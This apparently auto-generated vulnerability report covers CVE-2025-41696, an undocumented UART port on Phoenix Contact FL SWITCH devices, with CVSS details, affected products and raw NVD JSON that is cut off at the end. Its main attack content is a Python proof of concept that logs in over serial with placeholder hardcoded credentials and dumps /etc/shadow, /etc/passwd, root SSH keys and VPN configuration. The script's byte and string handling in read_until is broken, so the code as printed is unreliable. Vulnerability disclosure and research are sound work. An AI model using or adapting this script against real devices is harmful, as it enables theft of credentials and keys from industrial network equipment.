Security Vulnerability Report
中文
CVE-2025-41696 CVSS 4.6 MEDIUM

CVE-2025-41696

Published: 2025-12-09 16:17:49
Last Modified: 2025-12-19 18:12:06

Description

An attacker can use an undocumented UART port on the PCB as a side-channel with the user hardcoded credentials obtained from CVE-2025-41692 to gain read access to parts of the filesystem of the device.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:phoenixcontact:fl_switch_2708_pn_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:phoenixcontact:fl_switch_2708_pn:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:phoenixcontact:fl_switch_2708_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:phoenixcontact:fl_switch_2708:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:phoenixcontact:fl_switch_2608_pn_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:phoenixcontact:fl_switch_2608_pn:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:phoenixcontact:fl_switch_2608_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:phoenixcontact:fl_switch_2608:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:phoenixcontact:fl_switch_2516_pn_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:phoenixcontact:fl_switch_2516_pn:-:*:*:*:*:*:*:* - NOT VULNERABLE
使用未记录UART端口且包含CVE-2025-41692硬编码凭证的固件版本(具体版本需参考VDE-2025-071公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41696 PoC - UART Port Access with Hardcoded Credentials Note: This is a conceptual PoC for authorized security testing only. Hardware required: USB-to-TTL adapter, jumper wires """ import serial import time def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Establish UART connection to device""" ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) return ser def read_until(ser, until=b'>', timeout=10): """Read UART output until delimiter""" output = b'' start = time.time() while time.time() - start < timeout: if ser.in_waiting: char = ser.read() output += char if until.encode() in output.decode('utf-8', errors='ignore'): break return output.decode('utf-8', errors='ignore') def authenticate_uart(ser, username, password): """Authenticate using hardcoded credentials from CVE-2025-41692""" # Wait for login prompt read_until(ser, 'login: ') time.sleep(0.5) # Send username ser.write(f"{username}\n".encode()) time.sleep(0.5) # Wait for password prompt read_until(ser, 'Password: ') time.sleep(0.5) # Send password ser.write(f"{password}\n".encode()) time.sleep(1) # Check if authentication successful response = read_until(ser) return 'authenticated' in response.lower() or '$' in response def extract_filesystem(ser): """Extract sensitive files from filesystem""" sensitive_files = [ '/etc/shadow', '/etc/passwd', '/etc/config/', '/root/.ssh/', '/etc/openvpn/', ] results = {} for file_path in sensitive_files: ser.write(f"cat {file_path}\n".encode()) time.sleep(0.5) content = read_until(ser) results[file_path] = content return results def main(): # Configuration - adjust based on target device UART_PORT = '/dev/ttyUSB0' # Linux BAUDRATE = 115200 # Credentials from CVE-2025-41692 (to be determined from VDE advisory) USERNAME = 'admin' # Placeholder PASSWORD = 'password' # Placeholder try: print('[*] Connecting to UART port...') ser = connect_uart(UART_PORT, BAUDRATE) print('[*] Waiting for device boot...') time.sleep(3) read_until(ser) print('[*] Attempting authentication...') if authenticate_uart(ser, USERNAME, PASSWORD): print('[+] Authentication successful!') print('[*] Extracting filesystem data...') data = extract_filesystem(ser) for path, content in data.items(): print(f'\n=== {path} ===') print(content) else: print('[-] Authentication failed') except Exception as e: print(f'[-] Error: {e}') finally: ser.close() if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41696", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:49.033", "lastModified": "2025-12-19T18:12:06.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can use an undocumented UART port on the PCB as a side-channel with the user hardcoded credentials obtained from CVE-2025-41692 to gain read access to parts of the filesystem of the device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2708_pn_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "2084EFDB-9B37-4B62-8F09-C0A478D225F5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2708_pn:-:*:*:*:*:*:*:*", "matchCriteriaId": "D1E0F77C-F116-4BF6-9ED4-39C5B2BE45D0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2708_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "0F69B73C-5009-4FDE-AC40-03089D1724DB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2708:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACF0F7C6-D8C8-409D-B32E-33651C2768D3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2608_pn_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "9D8B1EE5-CD80-4963-8E64-57ED5B75A236"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2608_pn:-:*:*:*:*:*:*:*", "matchCriteriaId": "7E2028DD-24BD-4541-B437-E7F97420BECE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2608_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "FEB4D4F4-DAA9-4D15-BD23-D2F8D20651F0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2608:-:*:*:*:*:*:*:*", "matchCriteriaId": "9066088C-2056-446A-A835-3A4F8EC71F69"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2516_pn_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "3B6BC580-8BDE-458D-852C-09E54FD43F36"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2516_pn:-:*:*:*:*:*:*:*", "matchCriteriaId": "D25577D8-A076-4950-B28B-5587DF927425"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2516_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "E254EF2F-B597-4A4E-A6B0-2812F8B039A5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2516:-:*:*:*:*:*:*:*", "matchCriteriaId": "662FD579-22E7-4169-8FD0-F0F48FDAEF09"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2514-2sfp_pn_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "A835F624-1034-4652-8BDB-A44856DB57C8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2514-2sfp_pn:-:*:*:*:*:*:*:*", "matchCriteriaId": "367E34FE-E7B4-436B-BF7D-2B794518DAD1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2514-2sfp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "F02C9D10-B352-4D56-98A3-155129A97A1A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2514-2sfp:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D9F679F-A6F5-42F8-A269-FF7EA6EEDBAC"}]}]}, {"operator": "AND", "nodes": [{"operator": ... (truncated)